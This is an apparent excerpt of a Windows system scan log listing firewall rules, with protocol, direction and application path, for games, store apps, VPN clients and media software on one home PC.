"{4A730809-77EC-4B82-9C09-1E1F8B1B0DD7}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{4B9B0823-33BC-4A64-8ED6-18EF2898884E}" = protocol=17 | dir=in | app=c:\program files\firestorm-releasex64\slvoice.exe |
"{4BB6F7DC-AA6F-4A10-ACAE-7DAE85F8B7A4}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fallout new vegas\falloutnvlauncher.exe |
"{4C667982-6838-4EB6-98A7-78141F585BB8}" = dir=out | [email protected]{microsoft.binghealthandfitness_3.0.4.309_x64__8wekyb3d8bbwe?ms-resource://microsoft.binghealthandfitness/resources/apptitle} |
"{4CECF385-D5B3-4030-B632-172694AE1EB8}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fallout 3 goty\falloutlauncher.exe |
"{4EFE0E87-CB9A-44B3-B5AD-6DC778FF6146}" = dir=in | app=c:\program files (x86)\youtube download pool\g3\netclean.exe |
"{4FBFF636-50D9-449C-86BD-1CFC48CC9E50}" = dir=out | [email protected]{microsoft.xboxlivegames_2.0.139.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxlivegames/resources/34150} |
"{51F1B1BA-6FE2-4F15-81A6-0F1E4093DF1C}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\five nights at freddy's 2\fivenightsatfreddys2.exe |
"{548DCF8C-BFF2-4BA4-AA88-FBAF9AC8BCC6}" = dir=in | [email protected]{c:\windows\winstore\resources.pri?ms-resource://winstore/resources/displayname} |
"{560448D6-095C-4907-B046-AC7F710701A7}" = dir=in | name=sonicwall.mobileconnect |
"{57ACD473-403E-4FC7-8B38-6209C0A935F7}" = dir=out | [email protected]{microsoft.bingfoodanddrink_3.0.4.253_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfoodanddrink/resources/apptitlewithbranding} |
"{584B7415-6331-4649-B718-3FD601C5755A}" = dir=out | [email protected]{microsoft.zunemusic_2.6.672.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunemusic/resources/ids_manifest_music_app_name} |
"{593DA912-729C-4E15-9F35-B806A223A125}" = protocol=17 | dir=in | app=c:\programdata\emailnotifier\emailnotifier.exe |
"{5944317C-8C28-423A-A1B7-E38CF220FEE9}" = dir=out | name=xbox one smartglass |
"{59B10AED-9238-466A-9F88-F63EFB8DD83E}" = protocol=17 | dir=in | app=c:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe |
"{5B2C7E76-556B-46DC-9B28-2CBE3B8AB3A3}" = dir=out | [email protected]{microsoft.zunemusic_2.6.672.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunemusic/resources/ids_manifest_music_app_name} |
"{5B7FD1A0-6301-4AAB-BBCB-8E0F15E27ED2}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\ducktales remastered\executable\ducktales.exe |
"{5C39665E-FA3F-4F41-8FF7-FBD7BC1CE23A}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe |
"{5CDB4FC0-A8D3-4DFA-AA9A-A73B334FE900}" = dir=in | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{5E66BF5F-C85C-440B-B2F1-A073003377E7}" = dir=out | [email protected]{microsoft.bingmaps_2.1.3230.2048_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingmaps/resources/appdisplayname} |
"{5EAC0E4C-5A5C-4EC7-902D-BED569671CA4}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\bin\steamwebhelper.exe |
"{5F12BCE4-4880-43BC-8344-0BFF780DE39A}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy iv\ff4_launcher.exe |
"{5F4632C0-D5B1-40C3-B0D9-E3A759C81B9E}" = dir=out | name=sonicwall.mobileconnect |
"{6049635E-3DD7-467B-810E-43C295E79DF2}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\mortalkombat_kompleteedition\disccontentpc\mklauncher.exe |
"{64E9FF5F-84A7-4812-9C08-F399A01A56C7}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\oblivion\oblivionlauncher.exe |
"{65E385D7-A673-4373-9B55-410603D32BC1}" = dir=out | [email protected]{microsoft.bingtravel_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingtravel/resources/brandedapptitle} |
"{6695E482-C7AA-4AA5-ADBD-13AF942804FF}" = protocol=6 | dir=in | app=c:\program files (x86)\yahoo!\messenger\yahoomessenger.exe |
"{66BC707F-EAA4-4662-99F4-2624F8ECE7A2}" = protocol=6 | dir=in | app=c:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe |
"{67B4C613-B355-4D66-8C76-FFA455016C52}" = dir=out | [email protected]{microsoft.bingmaps_2.1.3230.2048_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingmaps/resources/appdisplayname} |
"{6A22EF92-AAB6-4480-A4E5-E11F472BFE5D}" = dir=out | name=windows_ie_ac_001 |
"{6ACF1335-F0D4-4FF4-BC60-71DFCBDDCFA2}" = dir=out | [email protected]{microsoft.bingsports_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingsports/resources/brandedapptitle} |
"{6B84990C-CE71-459A-9425-485688455DD7}" = dir=out | [email protected]{microsoft.xboxlivegames_2.0.139.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxlivegames/resources/34150} |
"{6BD4801F-B64E-4374-8922-0FA11844A87C}" = protocol=6 | dir=in | app=c:\program files\firestorm-betax64\slvoice.exe |
"{6BF66511-27A3-4C49-9A98-5580B0609AF0}" = dir=out | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{6D59E595-DEF5-4F8D-AED8-866320BA1D11}" = protocol=17 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\java.exe |
"{6DC91221-5B5A-47E0-99CE-36C30A185C3D}" = dir=out | [email protected]{microsoft.bingweather_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingweather/resources/brandedapptitle} |
"{6FBF5032-71DA-46F3-ACF6-39A53A2154D6}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skullgirls beta\skullgirls.exe |
"{71104BF3-EBFA-4CC1-A961-C69611B04856}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\left 4 dead 2\left4dead2.exe |
"{719076CC-C2BC-4C49-8B90-DBBC4BA0F400}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steam.exe |
"{71BF2836-9752-49F1-90C9-7927E86FA468}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skyrim\creationkit.exe |
"{726BA653-4C50-4975-BE3D-211C6FD5829B}" = dir=out | [email protected]{microsoft.xboxcompanion_1.4.3.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxcompanion/resources/33279} |
"{74387D2E-E291-4D5D-A1B3-9998306000EE}" = dir=out | name=microsoft solitaire collection |
"{75D6E31E-E72F-4C76-9067-961F66BD28A9}" = dir=out | [email protected]{microsoft.zunemusic_2.6.672.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunemusic/resources/ids_manifest_music_app_name} |
"{76590971-0D4E-4CA2-BAB0-C107C33EA016}" = protocol=6 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{77742D40-578B-4239-A48B-27CF0600FADC}" = dir=out | [email protected]{microsoft.zunevideo_2.6.434.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunevideo/resources/ids_manifest_video_app_name} |
"{77A4B1B8-897C-4CF8-883B-044D37E3265A}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bioshock infinite\binaries\win32\bioshockinfinite.exe |
"{79B7C939-DD3C-4D89-A5C6-59EE99FF9EDF}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\saintsrowthethird.exe |
"{7B45498C-E9FD-4834-8082-53C6B363A58C}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\mortalkombat_kompleteedition\disccontentpc\mkke.exe |
"{7B9BD05A-7FDB-4D97-9282-82A4059FF51A}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bioshock infinite\binaries\win32\bioshockinfinite.exe |
"{7C22E889-9C68-4780-BE06-181F81CAD1FD}" = dir=in | name=skype |
"{7D599FF0-AE5D-4895-AE6B-31C969388102}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\bin\steamwebhelper.exe |
"{7E218946-3302-4843-948A-C46F8FBE4E4B}" = dir=out | [email protected]{microsoft.bingsports_3.0.4.298_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingsports/resources/brandedapptitle} |
"{7EB404D8-98AA-4F5F-A00D-6479E33AD3AA}" = dir=out | [email protected]{microsoft.bingtravel_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingtravel/resources/brandedapptitle} |
"{7EC578CB-D0DE-4278-9CA1-22A4CB341396}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skyrim\skyrimlauncher.exe |
"{8043BDC3-5E26-4F0F-BAEE-25E28BDD8765}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\launcher.exe |
"{82B071AC-9DE4-4C9B-A49A-07F1397A01E5}" = dir=out | [email protected]{microsoft.xboxlivegames_2.0.139.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxlivegames/resources/34150} |
"{832EFDCF-0EE7-44FC-BD87-F9EB811B95F4}" = dir=out | [email protected]{microsoft.zunevideo_2.6.441.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunevideo/resources/ids_manifest_video_app_name} |
"{8622AC87-39A3-4B88-9C78-9923A8FA2168}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\five nights at freddy's\fivenightsatfreddys.exe |
"{8693F68A-76E3-413C-B5CE-D1C5C097ABB7}" = dir=in | name=skype |
"{87FF13BD-D185-4893-B694-9C5A74A43AB9}" = protocol=17 | dir=in | app=c:\program files (x86)\winamp\winamp.exe |
"{884380BB-76D7-474B-B7D5-D0221610E304}" = dir=out | [email protected]{microsoft.bingweather_3.0.4.298_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingweather/resources/brandedapptitle} |
"{887C6AC5-A9DF-42BC-ADA2-19A043927EF8}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steam.exe |
"{88CB44CB-8B83-4B1B-AD38-BC6C55C45326}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{8A66FBD3-E2D2-4E33-A503-B0910E0258B7}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bionic commando\bionic_commando.exe |
"{8C678C51-4D50-426E-A820-A3B5F2C80C40}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil biohazard hd remaster\bhd.exe |
"{8D07902A-C38D-46C8-8D28-0B1F563E58A1}" = dir=in | [email protected]{microsoft.xboxcompanion_1.4.3.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxcompanion/resources/33279} |
"{8D3EF43B-47B0-4921-AC10-8CAA304A7608}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\borderlands 2\binaries\win32\launcher.exe |
"{911152A6-7E56-4569-B538-16882F0A134A}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\left 4 dead 2\left4dead2.exe |
"{91C125FA-72CD-4DA7-A06E-576282F42194}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row iv\saintsrowiv.exe |
"{9624E5A9-B9B0-4FCB-8A18-DB8EE89F03E1}" = dir=out | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{96FAAB35-3965-4E9F-99FC-0DFE4DFDBA33}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bionic commando\bionic_commando.exe |
"{980185E7-E494-4B4B-B1BE-FC5774B920F0}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{98C9E487-F649-4CAF-B46A-67290F87A5C1}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\build.exe |
"{98DA699C-FD87-46A1-AC1E-FA36175860E2}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\morrowind\morrowind launcher.exe |
"{9AD1AB28-6814-4D41-8F31-AAAD0CCB9404}" = dir=in | name=xbox one smartglass |
"{9BF099B7-69C2-4258-B2D6-C13F47A43821}" = dir=out | [email protected]{microsoft.bingsports_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingsports/resources/brandedapptitle} |
"{9C0BC6BC-8DA4-49E6-9CC6-08BFD9D7B388}" = dir=in | app=c:\program files (x86)\youtube download pool\g3\youtubeserv.exe |
"{9D52135A-28BE-4646-B431-797EA3170322}" = dir=out | [email protected]{microsoft.xboxcompanion_1.4.3.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxcompanion/resources/33279} |
"{9E3D57FC-7C37-4424-9352-4831E97D029D}" = dir=out | [email protected]{c:\windows\winstore\resources.pri?ms-resource://winstore/resources/displayname} |
"{9F74B340-5843-4BC8-8614-DAF9F53A9C8A}" = dir=in | name=onenote |
"{A05E570C-F49F-4F3F-8D70-C8B6C3773AB4}" = protocol=6 | dir=in | app=c:\users\public\thunder network\xmp4\core\program\xmp.exe |
"{A0BFEB04-E94A-4A27-8B6A-89C4F9AAEE78}" = protocol=58 | dir=out | [email protected],-28546 |
"{A49A896E-8CF6-48A1-AAF9-2F606862257B}" = dir=out | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{A4BA2484-6898-40DE-B3A7-A8AC98DB5B5D}" = dir=out | name=skype |
"{A8194214-EC43-4AAC-9D08-100703034444}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\sonic the hedgehog 4 - ep 2\launcher.exe |
"{A9869378-6D17-4852-8A58-EDE061C471BB}" = protocol=6 | dir=in | app=c:\programdata\emailnotifier\emailnotifier.exe |
"{A9FDFA12-D65C-4126-B8B4-331790CE3E28}" = protocol=6 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{AB39495A-665B-440C-AF69-EF1C7B422644}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\ducktales remastered\executable\ducktales.exe |
"{AB5C0ED5-4456-43B6-8B5F-81A00CAE56BF}" = protocol=6 | dir=in | app=c:\program files (x86)\mozilla firefox\firefox.exe |
"{B0C62BF4-968F-4E65-BBE1-757CC9105C21}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy iv the after years\ff4a_launcher.exe |
"{B3C724D2-2393-4EEC-8491-3052A1FABF09}" = dir=out | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{B4111ACE-AF67-4B0E-8844-23E4F44C78AC}" = protocol=17 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{B4666147-F37A-408D-A2AC-29872F2A96E7}" = protocol=6 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{B5CB8EFD-D882-42FC-A2A3-7BA938F6841F}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy vii\ff7_launcher.exe |
"{B6073314-4B7A-4701-8027-75805C44F286}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\duke3d.exe |
"{B70183B5-4E84-4C12-9E7A-76859B323C72}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bionic commando rearmed\bcr.exe |
"{B735231F-0D0D-426C-B142-B86E8FBA26C2}" = dir=out | [email protected]{microsoft.bingmaps_2.1.3230.2048_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingmaps/resources/appdisplayname} |
"{B8E177CF-4E1B-4124-8003-8C3B519CC3B1}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\five nights at freddy's 2\fivenightsatfreddys2.exe |
"{B94EEC04-9925-49A4-876D-B2EA72ED6125}" = dir=out | name=skype |
"{B98A7D7A-D871-41D8-8A28-3B7EBB1AAEDD}" = dir=out | [email protected]{microsoft.binghealthandfitness_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.binghealthandfitness/resources/apptitle} |
"{BAA3C518-EBE5-4891-AFB5-B6A790A26542}" = dir=out | name=ae spider solitaire |
"{BB84678F-0435-4EC9-A0D6-09CD406199EB}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy vii\ff7_launcher.exe |
"{BBF2F846-B74B-469D-9BD9-7CB7914E475B}" = dir=out | name=onenote |
"{BC0563ED-1871-4688-AC25-06FEBBDBE389}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\game_launcher.exe |
"{BC29A3BE-89A0-47B4-BD30-1EB3C101D43D}" = dir=in | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{BC458B2F-1A28-456D-A0B8-ECBC99520702}" = protocol=17 | dir=in | app=c:\program files\firestorm-betax64\slvoice.exe |
"{BDF5C4E7-D94D-413D-AE4C-EB46FD3A160B}" = dir=out | [email protected]{microsoft.bingnews_3.0.4.268_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingnews/resources/brandedapptitle} |
"{BE32EFAC-5BA5-4453-B62C-B94C70A0801D}" = dir=out | name=onenote |
"{BF4F80FE-9D62-4A54-A9CB-2D86F5A72462}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe |
"{BFB8D6A2-0A28-4CA7-8268-B3D897694B0B}" = dir=out | [email protected]{microsoft.xboxlivegames_2.0.139.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxlivegames/resources/34150} |
"{BFBE2E06-1628-46C5-87C7-0C566BBB855C}" = protocol=6 | dir=in | app=c:\program files (x86)\winamp\winamp.exe |
"{BFC0FBCF-A2C5-41C7-BA85-861603B196A6}" = protocol=6 | dir=in | app=c:\program files\firestorm-releasex64\slvoice.exe |
"{C000ED19-7C2F-42D5-BB96-11EE503FA8CE}" = dir=in | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{C0715E81-6C99-4982-B80C-1254120E2307}" = protocol=17 | dir=in | app=c:\program files (x86)\yahoo!\messenger\yahoomessenger.exe |
"{C14AAC3A-4F77-435B-94D9-924008F83B79}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{C16FAC60-D001-4C75-969F-9AE5F1FA12F0}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\launchpad.exe |
"{C177CDE9-6897-405F-AD99-AC60E9D43082}" = dir=in | app=c:\program files\itunes\itunes.exe |
"{C270AFC4-4E8D-4B23-9CBE-44349EA9DC2E}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\batman arkham city goty\binaries\win32\batmanac.exe |
"{C464D4FF-A8D2-443B-B7C9-7A4508905329}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 4\bin32\bio4.exe |
"{C4F43655-25CA-4613-8572-052430199D3E}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\garrysmod\hl2.exe |
"{C86D95A8-B270-4542-A6D8-5687AB1C455C}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\launchpad.exe |
"{C9E832FE-1634-4110-A03D-C9AE0DFDA9F6}" = dir=in | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{CBB183A2-E0DA-45F9-B6CD-4331FC6135B2}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\mortalkombat_kompleteedition\disccontentpc\mklauncher.exe |
"{CBF05B0B-CC1B-42E5-90FE-80AB9E9CF494}" = protocol=1 | dir=in | [email protected],-28543 |
"{CCAB1A43-C30E-4E10-B401-BA20814F5F87}" = dir=out | [email protected]{microsoft.bingfinance_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfinance/resources/brandedapptitle} |
"{CCF7C65D-CC94-45A8-AE68-7982335BC9C0}" = protocol=1 | dir=out | [email protected],-28544 |
"{CFA8D3D9-EDB8-4358-BB98-7D17E14D67B6}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\borderlands 2\binaries\win32\launcher.exe |
"{CFFFD18A-47B2-4C84-8309-375FEB80CED9}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 4\bin32\bio4.exe |
"{D0C1D644-BA1A-4097-A560-53F69114BFDB}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row gat out of [bleep]\saintsrowgatoutofhell.exe |
"{D1B07DA7-0BC9-444B-8DBF-EEFEF62E9882}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\sonic the hedgehog 4 ep 1\soniclauncher.exe |
"{D1BBBC84-6FD8-4740-B4FC-9774CCA3B6B5}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{D1F885A2-B6CB-437D-BC64-1195279F8833}" = protocol=6 | dir=out | app=system |
"{D2753611-D94D-4139-ABAF-C4C8D2E79B6E}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skyrim\creationkit.exe |
"{D289E8E6-55E6-4CCE-AEA3-FF83CB093C00}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\dosbox\dosbox.exe |
"{D35FB781-9E79-4F9D-9B62-B0A5FC05524C}" = dir=in | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{D4AFDC94-6819-490D-A830-7D7AB9707567}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\team fortress 2\hl2.exe |
"{D4D71BE7-F61C-4580-B810-507FD77AAEA0}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{D5BCBDD3-A038-44E4-B80C-2B4E76132E03}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\five nights at freddy's\fivenightsatfreddys.exe |
"{D5D26B01-EC75-4D70-A36B-EA438D33259F}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skullgirls beta\skullgirls.exe |
"{D6980480-941A-4DF6-AB81-3734ECD3D779}" = dir=out | name=junipernetworks.junospulsevpn |
"{D70CA562-3764-42F0-9995-EAB503F83347}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\injusticegodsamongus_ultimateedition\disccontentpcg\injusticelauncher.exe |
"{DA238D5B-7F50-42AC-A693-46A6A263764B}" = dir=out | [email protected]{microsoft.bingnews_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingnews/resources/brandedapptitle} |
"{DB59588E-ED90-4C47-A7B5-7929DD0C0BD2}" = dir=out | name=checkpoint.vpn |
"{DBCADB24-C88A-4431-B5AE-EE246D5C704A}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skullgirls\skullgirls.exe |
"{DBD481D2-7C6D-4D3D-BAE5-72DDF6F56242}" = dir=out | [email protected]{microsoft.bingnews_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingnews/resources/brandedapptitle} |
"{DC3D8E23-7650-4C63-A196-D9BEB254C52A}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy iv the after years\ff4a_launcher.exe |
"{DF233FED-F55F-4CBA-9976-C551108C1168}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skullgirls\skullgirls.exe |
"{DF2877E1-897F-495C-9AD2-11B462CC9D6F}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{E0BD2586-EA6F-4246-998D-2214AA9FA799}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\batman arkham city goty\binaries\win32\batmanac.exe |
"{E1289E6A-0A0B-4837-ACD0-AB6433BAFDFB}" = dir=out | [email protected]{microsoft.bingfoodanddrink_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfoodanddrink/resources/apptitlewithbranding} |
"{E18AEEDD-5DBA-44FD-B288-6127C2A4678B}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fivenightsatfreddys4\fivenightsatfreddys4.exe |
"{E1A356DE-2F33-4874-AD3F-B616D161A457}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row gat out of [bleep]\saintsrowgatoutofhell.exe |
"{E45A40DB-B485-4609-8E6E-7D457B68673F}" = dir=out | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{E5BCE055-AE40-4DB2-A01D-9C9BD1DEE2BC}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\injusticegodsamongus_ultimateedition\disccontentpcg\injusticelauncher.exe |
"{E5C6EF6F-2567-4E0A-94A6-FE35FF7936CD}" = dir=out | [email protected]{microsoft.bingfoodanddrink_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfoodanddrink/resources/apptitlewithbranding} |
"{E752DD56-747C-4E26-A320-35716BF67BFD}" = dir=out | [email protected]{microsoft.zunemusic_2.6.672.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunemusic/resources/ids_manifest_music_app_name} |
"{E80982EF-E512-4287-B1B2-E90582B7E7A4}" = protocol=17 | dir=in | app=c:\users\public\thunder network\xmp4\core\program\xmp.exe |
"{E9646718-450F-4F65-AAD8-56E71E318D3E}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\duke3d.exe |
"{EA1CA89E-0F15-42D0-83C2-05FE0DF13CAC}" = dir=out | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{EC799E33-72BA-42D7-9127-DEFE68F9799D}" = dir=in | name=junipernetworks.junospulsevpn |
"{EE65F5CA-5BC9-459B-AE2C-0E0C4F6943C2}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fivenightsatfreddys4\fivenightsatfreddys4.exe |
"{EECE4AEF-82EF-4AE8-A70E-7B93FB1E0BB1}" = protocol=17 | dir=in | app=c:\program files (x86)\mozilla firefox\firefox.exe |
"{F3271653-871C-4217-9A38-4E56807E47B5}" = protocol=17 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{F41B95A0-B1F8-4E14-8F82-DE763333D27D}" = dir=out | [email protected]{microsoft.bingtravel_3.0.4.309_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingtravel/resources/brandedapptitle} |
"{F5F6F1AE-1D5F-4AE6-A91E-EB0D656DA518}" = protocol=17 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{F64300AD-D559-4000-BD45-0997BCC8E70A}" = dir=out | name=f5.vpn.client |
"{F6E5B151-1EAB-45B1-AD58-C52249686BC7}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\mortalkombat_kompleteedition\disccontentpc\mkke.exe |
"{F7126767-19B3-4447-A0C5-EB3C5048272C}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\sonic the hedgehog 4 ep 1\soniclauncher.exe |
"{F77E5446-4378-4E99-8B7A-7061AAAEA193}" = dir=in | name=f5.vpn.client |
"{F79EF2F5-90A3-44BF-8CFB-C078E93B9735}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil biohazard hd remaster\bhd.exe |
"{F90B8E6B-284B-469D-BDB8-2E887675F137}" = dir=out | [email protected]{microsoft.bingfinance_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfinance/resources/brandedapptitle} |
"{FA1B9557-2215-4E3A-A3D0-EE307765BD8D}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{FCD8EA8D-6018-4CA8-98A1-7EECD42891A1}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe |
"{FDB4C53D-C816-413B-A3CF-1E6DBA3981E5}" = protocol=6 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\java.exe |
"{FE308292-32B4-40ED-AF84-56A0125E91A7}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fallout 3 goty\falloutlauncher.exe |
"TCP Query User{0FCBFC79-B83E-439E-824C-A68224641B3F}C:\program files (x86)\skype\phone\skype.exe" = protocol=6 | dir=in | app=c:\program files (x86)\skype\phone\skype.exe |
